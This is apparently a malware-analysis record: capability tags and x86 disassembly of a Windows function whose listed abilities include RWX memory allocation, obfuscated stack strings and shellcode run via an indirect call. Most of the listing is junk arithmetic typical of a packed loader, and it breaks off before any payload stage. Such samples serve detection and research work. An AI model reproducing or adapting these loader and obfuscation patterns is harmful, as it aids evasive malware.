Function at 0x408d71
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get common file path
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x78]
mov eax, 0x1ac8
call fcn.00407db0
push esi
push edi
push 0xb9c258
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
cmp eax, 0x280a7
jne 0x408dec
cmp dword [0xb9c254], 0xc8b
jne 0x408dbd
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
push esi
lea eax, [ebp - 0x1250]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push str.baxot
push str.Cezuhinina_nigefim__f
mov edi, 0x422110
push edi
call fcn.00401623
push esi
call fcn.00401d5d
push 0x40e1b5
push edi
call fcn.0040151b
add esp, 0x18
push esi
call fcn.00402054
xor eax, eax
cmp eax, 0x14d270
jle 0x408e0a
cmp dword [ebp - 0x250], 0x751a9b28
je 0x408e0a
cmp dword [ebp + 0x74], 0x12692ae3
jne 0x408e12
inc eax
cmp eax, 0x22143f01
jl 0x408dee
mov eax, dword [0x4213e4]
add eax, 0xb2d3b
mov dword [0xb9c254], eax
xor edi, edi
cmp edi, 0x656289
jne 0x408e3b
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0xb9c244], eax
inc edi
cmp edi, 0x66d056
jl 0x408e23
push ebx
mov dword [ebp - 0x4c], 0x4a25f3a
mov dword [ebp - 0x44], 0x5f5530bd
mov dword [ebp - 0x1c4], 0x47251fbf
mov dword [ebp - 0x190], 0x1700b6bd
mov dword [ebp - 0xb4], 0x17b451ce
mov dword [ebp - 0x3c], 0x5a69cc98
mov dword [ebp - 0x17c], 0x263fa579
mov dword [ebp + 0x2c], 0x38707a86
mov dword [ebp - 0x108], 0x146bd94e
mov dword [ebp - 0x174], 0x2719cef
mov dword [ebp - 0x1bc], 0x5bd47faa
mov dword [ebp - 0x80], 0x14fc6dd8
mov dword [ebp - 0x220], 0x3b5ab2db
mov dword [ebp - 0xc0], 0x3e1ff617
mov dword [ebp - 0x228], 0x7a9aef9d
mov dword [ebp + 0x50], 0x4e1a976a
mov dword [ebp - 0xac], 0x6f18af81
mov dword [ebp - 0x50], 0x51722c2
mov dword [ebp + 8], 0x7b311788
mov dword [ebp - 0x1b0], 0x218d970f
mov dword [ebp - 0x238], 0x2c0c2f07
mov dword [ebp - 0x1d8], 0x37b5bbc5
mov dword [ebp - 0x34], 0xb8cd3d9
mov dword [ebp - 0xe0], 0x2a1068e0
mov dword [ebp - 0x16c], 0x6f157c13
mov dword [ebp - 0x1b4], 0x13bc955a
mov dword [ebp - 0x164], 0x4d0ec02f
mov dword [ebp - 0x48], 0x6be85f8
mov dword [ebp - 0xa4], 0x649d9682
mov dword [ebp - 0x9c], 0x7e9929a0
mov dword [ebp + 0x28], 0x666676e6
mov dword [ebp - 0x15c], 0x1903df9f
mov dword [ebp - 0x94], 0x77d6e5d8
mov dword [ebp - 0x154], 0x18611385
mov dword [ebp - 0x150], 0x4f04e104
mov dword [ebp - 0xb8], 0x65fddc59
mov dword [ebp - 0x1ac], 0x599dc2f9
mov dword [ebp - 0x104], 0x3efd5507
mov dword [ebp - 0x8c], 0x344eae28
mov dword [ebp + 0x74], 0x10d18677
mov dword [ebp - 0x84], 0x34fe7e0f
mov dword [ebp - 0x22c], 0x61abb4c4
mov dword [ebp - 0x1a4], 0x40928745
mov dword [ebp - 0x40], 0x14db47f7
mov dword [ebp - 0x23c], 0xb3e0e97
mov dword [ebp - 0x98], 0x366e66ee
mov dword [ebp - 0x78], 0x5dbc40d4
mov dword [ebp + 0x34], 0x573f26a2
mov dword [ebp - 0x218], 0x5f01e0b8
mov dword [ebp - 0x2c], 0xf3e1631
mov dword [ebp - 0x38], 0x233bd6f2
mov dword [ebp - 0x188], 0x8824d09
mov dword [ebp + 0x58], 0x3eb0f71c
mov dword [ebp + 0x3c], 0x4bbca550
mov dword [ebp - 0xfc], 0x5d223b70
mov dword [ebp - 0x18], 0x25345aaa
mov dword [ebp - 0x100], 0x2b5c626f
mov dword [ebp - 0x138], 0x14535dd
mov dword [ebp - 0x224], 0x6fbe85d3
mov dword [ebp + 0x44], 0x3d8f946d
mov dword [ebp - 0x7c], 0x6383c31e
mov dword [ebp - 0x10], 0x3fee6f70
mov dword [ebp + 0x60], 0x21713cf6
mov dword [ebp - 0x24], 0x18830197
mov dword [ebp - 0xb0], 0x4865cf77
mov dword [ebp - 0x74], 0x39568152
mov dword [ebp - 0x1f0], 0x5fbab620
mov dword [ebp - 0xf4], 0x51694b40
mov dword [ebp - 0x178], 0x3e2ba7
mov dword [ebp - 0xec], 0x4696af7b
mov dword [ebp - 0xa8], 0x67083a9
mov dword [ebp - 0x90], 0x4d584f72
mov dword [ebp - 0x128], 0x662aa957
mov dword [ebp - 0x118], 0x20236672
mov dword [ebp - 0x180], 0x4e37edb8
mov dword [ebp - 0x1c], 0x2dbea477
mov dword [ebp - 0xd8], 0x429f7140
mov dword [ebp - 0x14c], 0x71069013
mov dword [ebp + 0x4c], 0x2485f6e0
mov dword [ebp - 0xe4], 0x77478184
mov dword [ebp - 0x168], 0x37b02ca8
mov dword [ebp - 0x1c8], 0x69d54510
mov dword [ebp - 0x14], 0x1ffa54a
mov dword [ebp - 0xdc], 0x1b7561e0
mov dword [ebp - 0xc], 0x4e9281a2
mov dword [ebp - 0x198], 0x46bc9f8
mov dword [ebp + 0x10], 0x2b907e1e
mov dword [ebp - 0x19c], 0x44075b5f
mov dword [ebp - 0xd4], 0x2715c707
mov dword [ebp - 0x21c], 0x55c3f79
mov dword [ebp + 0x30], 0x582e14a4
mov dword [ebp - 0x230], 0x29d84bc7
mov dword [ebp - 4], 0xdfc4c71
mov dword [ebp + 0x54], 0x37467419
mov dword [ebp + 0x5c], 0x784fa6d1
mov dword [ebp - 0x6c], 0x32b0d52d
mov dword [ebp + 0x68], 0x56d15639
mov dword [ebp - 0x144], 0x2801d85c
mov dword [ebp + 4], 0x89e5439
mov dword [ebp + 0x64], 0x3ecb0483
mov dword [ebp + 0xc], 0x36150c75
mov dword [ebp - 0x1b8], 0x4ca2ac6c
mov dword [ebp - 0x148], 0x7d79eca4
mov dword [ebp - 0x30], 0x4cf1bf0d
mov dword [ebp - 0x214], 0x6bd872a1
mov dword [ebp + 0x38], 0x728ae62
mov dword [ebp - 0x64], 0x2c848559
mov dword [ebp - 0x194], 0x27b029af
mov dword [ebp + 0x6c], 0x5fe9164
mov dword [ebp - 0x20c], 0x64aa9d73
mov dword [ebp - 0xcc], 0xd86d7b0
mov dword [ebp - 0x1c0], 0x679f866e
mov dword [ebp - 0x110], 0x29bc9666
mov dword [ebp + 0x70], 0x75718412
mov dword [ebp - 0x13c], 0x666882c7
mov dword [ebp - 0x1d0], 0x143092cb
mov dword [ebp - 0x5c], 0x5ecd5c2b
mov dword [ebp - 0x234], 0x36607033
mov dword [ebp - 0x70], 0x768a1920
mov dword [ebp - 0x1e8], 0x404aacc6
mov dword [ebp - 8], 0x54d7df25
mov dword [ebp - 0x130], 0x6b21bd82
mov dword [ebp - 0x204], 0x103a8569
mov dword [ebp - 0x1e0], 0x5c10144f
mov dword [ebp - 0xd0], 0x5a09a830
mov dword [ebp + 0x40], 0x45311baa
mov dword [ebp - 0xa0], 0x58a11275
mov dword [ebp - 0x68], 0x7b6011bf
mov dword [ebp - 0x1a8], 0xe62888c
mov dword [ebp - 0x160], 0x3f454e3
mov dword [ebp - 0xf0], 0x2f82f825
mov dword [ebp - 0x60], 0x3f962789
mov dword [ebp - 0x28], 0x26c14ebc
mov dword [ebp - 0x1fc], 0x4a3487e
mov dword [ebp - 0x200], 0x27aea30e
mov dword [ebp - 0x208], 0xd214bc1
mov dword [ebp - 0xe8], 0x58f7bb5d
mov dword [ebp - 0x18c], 0x654b7666
mov dword [ebp - 0x88], 0x2a4aa0ac
mov dword [ebp - 0x134], 0x1e4448a5
mov dword [ebp + 0x14], 0x127e0fd7
mov dword [ebp], 0x7404425b
mov dword [ebp - 0x12c], 0x564064a2
mov dword [ebp - 0x244], 0x675d32e6
mov dword [ebp - 0x124], 0x1c1bca33
mov dword [ebp + 0x18], 0x2b652bc5
mov dword [ebp - 0x11c], 0x78fdcdc9
mov dword [ebp - 0x114], 0x25014aac
mov dword [ebp - 0x140], 0x4bbff6d5
mov dword [ebp - 0x10c], 0x4e38a8d0
mov dword [ebp - 0x1f4], 0x4d799f05
mov dword [ebp - 0x1f8], 0x75b34f8
mov dword [ebp - 0x120], 0x471a7a6b
mov dword [ebp - 0xf8], 0x1bb360ad
mov dword [ebp + 0x48], 0x6a3e8e40
mov dword [ebp - 0xc4], 0x2efadffa
mov dword [ebp - 0x20], 0x725c37d0
mov dword [ebp + 0x1c], 0xcb972de
mov dword [ebp - 0x184], 0x262d92e9
mov dword [ebp - 0x1ec], 0x5317ec6e
mov dword [ebp + 0x24], 0x4f38b5e2
mov dword [ebp - 0x170], 0x3caf5f6d
mov dword [ebp - 0x54], 0x467a864f
mov dword [ebp - 0x1e4], 0x15ac0076
mov dword [ebp - 0x1dc], 0x46ba386c
mov dword [ebp - 0xc8], 0x6205c7c6
mov dword [ebp - 0x1d4], 0x63e880f6
mov dword [ebp - 0xbc], 0x1a34d7c7
mov dword [ebp - 0x248], 0x1119a210
mov dword [ebp + 0x20], 0x3752a4a4
mov dword [ebp - 0x1a0], 0x7d158ab0
mov dword [ebp - 0x1cc], 0x19d769f2
mov dword [ebp - 0x210], 0x71e08a7f
mov dword [ebp - 0x58], 0x5bab4b3f
mov dword [ebp - 0x240], 0x4d4fab03
mov dword [ebp - 0x158], 0x1470ce6f
add dword [ebp - 0x4c], 0x7e537124
mov eax, 0x39a64c52
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
add dword [ebp - 0x4c], 0x10976774
mov eax, 0x3a0946ad
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x7d0ffd72
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
sub dword [ebp - 0x4c], 0x4d43c425
sub dword [ebp - 0x4c], 0x5a3c9e62
mov eax, 0x33642ad1
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
add dword [ebp - 0x44], 0x15f270de
sub dword [ebp - 0x44], 0x561bcc0b
mov eax, 0x5980d5aa
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
add dword [ebp - 0x44], 0x423e6c0f
add dword [ebp - 0x44], 0xd0e0d72
add dword [ebp - 0x44], 0x2fcddaad
mov eax, 0x66ee91b6
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
sub dword [ebp - 0x44], 0x5d7d8a4a
mov eax, 0x7585f22f
mul dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, 0x28aff769
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
sub dword [ebp - 0x44], 0x5b07946f
add dword [ebp - 0x190], 0xa045f57
add dword [ebp - 0x1c4], 0x145b6b56
mov eax, 0x5b41f5b3
mul dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1c4]
sub dword [ebp - 0x44], 0x6f26efbb
mov eax, 0x42609e05
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
mov eax, 0x349183a1
mul dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
add dword [ebp - 0x3c], 0x3a7df76
mov eax, 0x3d52fcc4
mul dword [ebp + 0x2c]
mov eax, dword [ebp + 0x2c]
sub dword [ebp - 0x4c], 0x71f322ce
add dword [ebp - 0x1c4], 0x503724de
add dword [ebp - 0x190], 0x5429d6fd
sub dword [ebp - 0x17c], 0x3e6b46ba
mov eax, 0x12800acc
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
add dword [ebp - 0xb4], 0x111ec6ed
sub dword [ebp - 0x80], 0x32fd2e61
add dword [ebp - 0x17c], 0x58bbe413
add dword [ebp + 0x2c], 0x24cf2d83
sub dword [ebp + 0x2c], 0x16a847a
sub dword [ebp - 0x44], 0x5b67980
add dword [ebp - 0x44], 0x9abbf7d
add dword [ebp - 0x108], 0x676692b4
add dword [ebp - 0xb4], 0x49e0854f
sub dword [ebp + 0x50], 0x31e3745d
add dword [ebp - 0x220], 0x60ef302e
sub dword [ebp - 0x228], 0x6cb02334
sub dword [ebp - 0x220], 0x78d555e8
mov eax, 0x300d9bd7
mul dword [ebp - 0x228]
mov eax, dword [ebp - 0x228]
add dword [ebp - 0x1bc], 0x3455736a
add dword [ebp - 0xc0], 0x55735058
add dword [ebp + 0x50], 0x66d06650
mov eax, 0x52cac6da
mul dword [ebp - 0x1d8]
mov eax, dword [ebp - 0x1d8]
add dword [ebp - 0x190], 0x1b416dca
sub dword [ebp - 0x1d8], 0x7073ca
sub dword [ebp + 8], 0x7418a312
mov eax, 0x28777ae1
mul dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, 0x44f3b04c
mul dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, 0x79a73e4e
mul dword [ebp - 0x16c]
mov eax, dword [ebp - 0x16c]
mov eax, 0x7b597a99
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
sub dword [ebp - 0xac], 0x140269d4
mov eax, 0x64faa0bf
mul dword [ebp - 0x238]
mov eax, dword [ebp - 0x238]
sub dword [ebp + 0x50], 0x721f8580
sub dword [ebp - 0x4c], 0x4874fac3
add dword [ebp - 0x1c4], 0x15545ece
add dword [ebp - 0x50], 0x7b7fa9f
mov eax, 0x6a2004ae
mul dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1bc]
sub dword [ebp - 0x220], 0x94d016d
add dword [ebp - 0x17c], 0x18420760
sub dword [ebp - 0x164], 0x210c2039
add dword [ebp - 0x94], 0x1dc04c72
sub dword [ebp - 0x1b4], 0x39b29b84
sub dword [ebp - 0x164], 0x46bf88c9
sub dword [ebp - 0x108], 0x3b5fc53c
sub dword [ebp - 0x1b0], 0x3506125d
add dword [ebp - 0x17c], 0x6be82721
add dword [ebp - 0x16c], 0x5b2f24fd
mov eax, 0x11f9d769
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
add dword [ebp - 0xa4], 0x348c1b13
mov eax, 0x31f0a0fb
mul dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
sub dword [ebp - 0xac], 0x5e2b9616
sub dword [ebp - 0x238], 0x6b362064
add dword [ebp - 0xc0], 0x1b23d468
add dword [ebp + 0x50], 0x1bd29e4c
sub dword [ebp - 0x34], 0x9c35997
sub dword [ebp - 0x44], 0x6b9b5646
mov eax, 0x2fda8660
mul dword [ebp - 0x228]
mov eax, dword [ebp - 0x228]
sub dword [ebp - 0x8c], 0x7b81acae
add dword [ebp - 0x3c], 0x7b6e0ab7
sub dword [ebp - 0x98], 0x7f8a8b04
sub dword [ebp - 0x80], 0x405c83a1
mov eax, 0x52710d6d
mul dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
add dword [ebp - 0x22c], 0xa2324f8
sub dword [ebp - 0xac], 0x6618e612
sub dword [ebp - 0x108], 0x1959164c
add dword [ebp - 0x228], 0x7572c4fa
mov eax, 0x3b537fce
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
sub dword [ebp - 0x98], 0x38dd8f37
add dword [ebp - 0x34], 0x7d6d9e11
add dword [ebp - 0x98], 0x7ab45d58
mov eax, 0xd15f45b
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
sub dword [ebp - 0x94], 0x390c50f9
add dword [ebp - 0xa4], 0x4bdee8c1
mov eax, 0x3604a955
mul dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
sub dword [ebp + 0x50], 0x510354df
mov eax, 0x1efabfd6
mul dword [ebp - 0x164]
mov eax, dword [ebp - 0x164]
mov eax, 0x17266829
mul dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1a4]
mov eax, 0x53f58d01
mul dword [ebp - 0x164]
mov eax, dword [ebp - 0x164]
add dword [ebp - 0x84], 0x46a5d414
mov eax, 0x2ee6a275
mul dword [ebp - 0x150]
mov eax, dword [ebp - 0x150]
add dword [ebp - 0x1d8], 0x2135cf85
mov eax, 0x6e9c30aa
mul dword [ebp - 0x154]
mov eax, dword [ebp - 0x154]
add dword [ebp + 0x3c], 0x232f1513
mov eax, 0x7df5a6d
mul dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1a4]
add dword [ebp - 0xa4], 0x111d4d34
mov eax, 0x1b200cc1
mul dword [ebp - 0x16c]
mov eax, dword [ebp - 0x16c]
sub dword [ebp - 0x24], 0x1be7045a
mov eax, 0xc7fceca
mul dword [ebp - 0x23c]
mov eax, dword [ebp - 0x23c]
add dword [ebp - 0x17c], 0x7b0053de
add dword [ebp - 0x238], 0x7c528f7d
mov eax, 0x12f7e3dc
mul dword [ebp - 0x228]
mov eax, dword [ebp - 0x228]
mov eax, 0x525135fe
mul dword [ebp - 0x15c]
mov eax, dword [ebp - 0x15c]
mov eax, 0x28672d0e
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
sub dword [ebp - 0x16c], 0x64c7297a
sub dword [ebp - 0x1b4], 0x39d1f9cc
sub dword [ebp - 0x1b0], 0x64fe56da
add dword [ebp - 0x154], 0x32fa3bbb
add dword [ebp - 0x78], 0x4161426e
add dword [ebp + 0x2c], 0x106aad8c
sub dword [ebp + 8], 0x63a85bcc
sub dword [ebp - 0x9c], 0x7b2645bf
mov eax, 0x329b1fcb
mul dword [ebp + 0x74]
mov eax, dword [ebp + 0x74]
sub dword [ebp + 0x44], 0x46ae483
add dword [ebp - 0xb4], 0x3696c59
add dword [ebp - 0x15c], 0x1b871c65
add dword [ebp - 0x48], 0xaed5302
sub dword [ebp - 0xec], 0x562ea25e
sub dword [ebp - 0x40], 0x34bcdb3a
mov eax, 0x4bbb67df
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
sub dword [ebp - 0x1f0], 0x6cef99f6
add dword [ebp - 0x8c], 0x2509553b
mov eax, 0x5c776548
mul dword [ebp + 8]
mov eax, dword [ebp + 8]
add dword [ebp + 0x60], 0x764d3974
add dword [ebp - 0x218], 0x3719b952
sub dword [ebp - 0x1bc], 0x5e76ffbf
sub dword [ebp - 0x220], 0x6ed7f063
sub dword [ebp + 0x60], 0x138bb0bb
sub dword [ebp - 0x34], 0x5694952d
mov eax, 0x2b22d904
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
mov eax, 0x295a1127
mul dword [ebp - 0x108]
mov eax, dword [ebp - 0x108]
add dword [ebp + 0x28], 0x30686e95
add dword [ebp - 0xb8], 0x9f5fe12
mov eax, 0x459f5305
mul dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
add dword [ebp + 0x58], 0x49018ccc
mov eax, 0x4b886dea
mul dword [ebp - 0x180]
mov eax, dword [ebp - 0x180]
mov eax, 0x1d39b766
mul dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
sub dword [ebp - 0xe4], 0x4ed1c09f
mov eax, 0x27eb62bf
mul dword [ebp + 0x60]
mov eax, dword [ebp + 0x60]
mov eax, 0x1e5ca84b
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, 0x5edc1da3
mul dword [ebp - 0x220]
mov eax, dword [ebp - 0x220]
mov eax, 0x3f33f95a
mul dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
mov eax, 0x4ab32064
mul dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
add dword [ebp - 0x80], 0x626bd394
sub dword [ebp - 0x108], 0x217425a7
add dword [ebp - 0x1c], 0x41c7de57
mov eax, 0xcb9181c
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
sub dword [ebp - 0x1b0], 0x4dd09e08
mov eax, 0x27b8abc1
mul dword [ebp - 0x19c]
mov eax, dword [ebp - 0x19c]
add dword [ebp - 0x1c4], 0x76f75677
sub dword [ebp - 0x8c], 0x65c184ef
mov eax, 0x3de64958
mul dword [ebp - 0x1f0]
mov eax, dword [ebp - 0x1f0]
add dword [ebp + 0x34], 0x378d5bc0
sub dword [ebp - 0x218], 0x36f0c5f0
mov eax, 0x140d0f34
mul dword [ebp - 0x104]
mov eax, dword [ebp - 0x104]
add dword [ebp + 0x50], 0x10d86d79
mov eax, 0x2ae39c2f
mul dword [ebp - 0x128]
mov eax, dword [ebp - 0x128]
sub dword [ebp - 0xc0], 0x1828e983
sub dword [ebp - 0x1b4], 0x43888aa3
mov eax, 0x178992a7
mul dword [ebp - 0x16c]
mov eax, dword [ebp - 0x16c]
mov eax, 0x21d19f6b
mul dword [ebp - 0x230]
mov eax, dword [ebp - 0x230]
sub dword [ebp - 0x104], 0x1e41fad9
mov eax, 0x7f0aca2c
mul dword [ebp + 0x10]
mov eax, dword [ebp + 0x10]
sub dword [ebp - 0xb4], 0x1840615c
mov eax, 0x57dc3d34
mul dword [ebp + 0x50]
mov eax, dword [ebp + 0x50]
mov eax, 0x5883c3eb
mul dword [ebp - 0x178]
mov eax, dword [ebp - 0x178]
mov eax, 0x79b4c260
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
add dword [ebp - 0xa4], 0x8609aa2
mov eax, 0x3601adb4
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
sub dword [ebp - 0xd4], 0x326b48bf
add dword [ebp + 0x44], 0x47df6f4f
sub dword [ebp - 0x7c], 0x4a679a1e
sub dword [ebp - 0x40], 0x7ffbc48b
add dword [ebp - 0x118], 0x5904a1c7
mov eax, 0x48246fa1
mul dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, 0x6617981b
mul dword [ebp + 0x74]
mov eax, dword [ebp + 0x74]
add dword [ebp + 0x58], 0x356ef73e
mov eax, 0x18382acf
mul dword [ebp + 0x58]
mov eax, dword [ebp + 0x58]
mov eax, 0x35913a7a
mul dword [ebp - 0x168]
mov eax, dword [ebp - 0x168]
add dword [ebp - 0x9c], 0x422b1b42
sub dword [ebp - 0x1c], 0x77349a3e
sub dword [ebp - 0x224], 0x7e56afe
mov eax, 0x386dfc7f
mul dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
add dword [ebp - 0xd8], 0xdf57c15
sub dword [ebp - 0x118], 0x430f0834
mov eax, 0x7f4ed9e9
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
add dword [ebp - 0x15c], 0x2080f733
mov eax, 0x3b36240f
mul dword [ebp - 0x168]
mov eax, dword [ebp - 0x168]
mov eax, 0x8660e89
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
sub dword [ebp - 0x1b4], 0x67a4601f
mov eax, 0x71408793
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
add dword [ebp - 0x74], 0x60f52d2b
sub dword [ebp - 0x90], 0x249af9d6
sub dword [ebp - 0x230], 0x7f2e2559
mov eax, 0x6157949e
mul dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x80], 0x5cec268
mov eax, 0x2a95c967
mul dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
add dword [ebp - 0x150], 0x7c1c99e6
sub dword [ebp - 0x214], 0x33e1b447
mov eax, 0x547e54c7
mul dword [ebp - 0xfc]
mov eax, dword [ebp - 0xfc]
add dword [ebp - 0x1c8], 0x7db2649a
add dword [ebp - 0x30], 0x7803eb8d
sub dword [ebp + 0x2c], 0x2a3be3cb
add dword [ebp - 0x1ac], 0x3c09e8ac
sub dword [ebp + 0x2c], 0x682681d8
sub dword [ebp - 0x10], 0x6334c06e
mov eax, 0x2644de1c
mul dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
add dword [ebp + 0xc], 0x64dd5162
add dword [ebp + 0x38], 0x1bd665d7
add dword [ebp - 8], 0x73605494
mov eax, 0x2f556d15
mul dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, 0x252f453b
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
add dword [ebp + 0x64], 0x9eebfbe
add dword [ebp - 0x164], 0x359a215a
sub dword [ebp - 0xcc], 0x17a636f1
sub dword [ebp - 0x5c], 0x77bbc9d7
add dword [ebp + 8], 0x1520058e
sub dword [ebp - 0x1c], 0x69ccbb10
mov eax, 0x47325f52
mul dword [ebp - 0x148]
mov eax, dword [ebp - 0x148]
add dword [ebp - 0x5c], 0x9ada0ce
mov eax, 0x5e00772a
mul dword [ebp - 0x230]
mov eax, dword [ebp - 0x230]
add dword [ebp - 0x234], 0x51b81aed
sub dword [ebp - 0x14], 0x70333d67
mov eax, 0x3c35baad
mul dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, 0x53ad823d
mul dword [ebp - 0x138]
mov eax, dword [ebp - 0x138]
add dword [ebp - 0x24], 0x108ef0b7
mov eax, 0x4aa5f868
mul dword [ebp - 0x194]
mov eax, dword [ebp - 0x194]
sub dword [ebp - 0x128], 0x4a617331
sub dword [ebp - 0xb8], 0x67221e86
add dword [ebp - 0x218], 0x2aca0c50
add dword [ebp - 0x21c], 0x28d54f17
mov eax, 0x51bc3273
mul dword [ebp - 0x1c4]
mov eax, dword [ebp - 0x1c4]
mov eax, 0x2fd6d1c5
mul dword [ebp + 0x64]
mov eax, dword [ebp + 0x64]
mov eax, 0x3f1a201e
mul dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b0]
add dword [ebp - 0xcc], 0x5bc4add1
add dword [ebp - 0x1b8], 0x4333dfb9
add dword [ebp - 0x154], 0x69688b0
mov eax, 0x165170c8
mul dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
sub dword [ebp + 0x3c], 0x165490e0
add dword [ebp - 0x64], 0x17623e52
mov eax, 0x67050c6e
mul dword [ebp - 0x154]
mov eax, dword [ebp - 0x154]
sub dword [ebp - 0x20c], 0x7e1a6717
sub dword [ebp - 0x100], 0x4449a0c6
mov eax, 0x497e39c4
mul dword [ebp - 0x20c]
mov eax, dword [ebp - 0x20c]
mov eax, 0x53c9f707
mul dword [ebp - 0x190]
mov eax, dword [ebp - 0x190]
sub dword [ebp + 0x10], 0x5feb6c2b
add dword [ebp + 4], 0x31b6d77d
mov eax, 0xe692ade
mul dword [ebp - 0x118]
mov eax, dword [ebp - 0x118]
add dword [ebp - 0x14c], 0x517cbfb6
mov eax, 0x6394b525
mul dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
add dword [ebp - 0x1c0], 0x70c4c06b
sub dword [ebp - 0xb8], 0x9aa3c05
sub dword [ebp - 0xe8], 0x1082a729
sub dword [ebp - 0x18c], 0x2f1fd690
add dword [ebp], 0x4402c67b
add dword [ebp - 0x23c], 0xd7e11cb
sub dword [ebp - 0x144], 0x518ac822
sub dword [ebp - 0x230], 0x6b9b9a50
sub dword [ebp - 0x180], 0x8c8fb78
mov eax, 0x4db803fb
mul dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x1c0]
sub dword [ebp + 8], 0x7ad0e882
sub dword [ebp + 0x38], 0x272cff8b
mov eax, 0x2d59b5b8
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
add dword [ebp - 0x214], 0x3472c8bf
add dword [ebp - 0xfc], 0x57eee4f8
sub dword [ebp - 0x204], 0x597e751e
add dword [ebp - 0x11c], 0x54b1f52
add dword [ebp + 0x58], 0x2841e0e7
mov eax, 0x414f71d6
mul dword [ebp - 0x19c]
mov eax, dword [ebp - 0x19c]
mov eax, 0x3306ace0
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, 0x45d07ca0
mul dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1bc]
mov eax, 0x40aa1332
mul dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, 0x4ae5d45e
mul dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, 0x28e47112
mul dword [ebp - 0x114]
mov eax, dword [ebp - 0x114]
sub dword [ebp - 0x30], 0x43f8e243
mov eax, 0x3cf57c55
mul dword [ebp - 0x200]
mov eax, dword [ebp - 0x200]
sub dword [ebp - 0x230], 0x5db66b56
sub dword [ebp - 0xb8], 0x7e27602
add dword [ebp - 0x78], 0x50ebd81f
sub dword [ebp - 0x10], 0x3f25254f
sub dword [ebp - 0x64], 0x59e03c09
sub dword [ebp - 0xf0], 0x2b54e43b
add dword [ebp - 0xc], 0x732a99d
mov eax, 0x41c2a548
mul dword [ebp - 0x138]
mov eax, dword [ebp - 0x138]
add dword [ebp - 0x12c], 0x3d1aefe3
mov eax, 0x150310ce
mul dword [ebp + 0x70]
mov eax, dword [ebp + 0x70]
add dword [ebp - 0xa0], 0x15342714
mov eax, 0x5323b507
mul dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1bc]
sub dword [ebp - 0xc], 0x5881fd6e
mov eax, 0x5603df42
mul dword [ebp - 0xa4]
mov eax, dword [ebp - 0xa4]
sub dword [ebp - 0x204], 0x2ad2352
add dword [ebp - 0x200], 0x24f50f5a
add dword [ebp - 0x60], 0x9def6c6
mov eax, 0x13026f06
mul dword [ebp - 0xa0]
mov eax, dword [ebp - 0xa0]
sub dword [ebp + 0x68], 0x7301844d
mov eax, 0x54ff8995
mul dword [ebp - 0x1c8]
mov eax, dword [ebp - 0x1c8]
add dword [ebp - 0x78], 0x6c0b36e1
add dword [ebp + 0x5c], 0x32aabc68
add dword [ebp - 0x230], 0x70a3c60b
add dword [ebp - 0xb8], 0xd9f0663
add dword [ebp - 0x15c], 0x13ec8d03
mov eax, 0x61a205dc
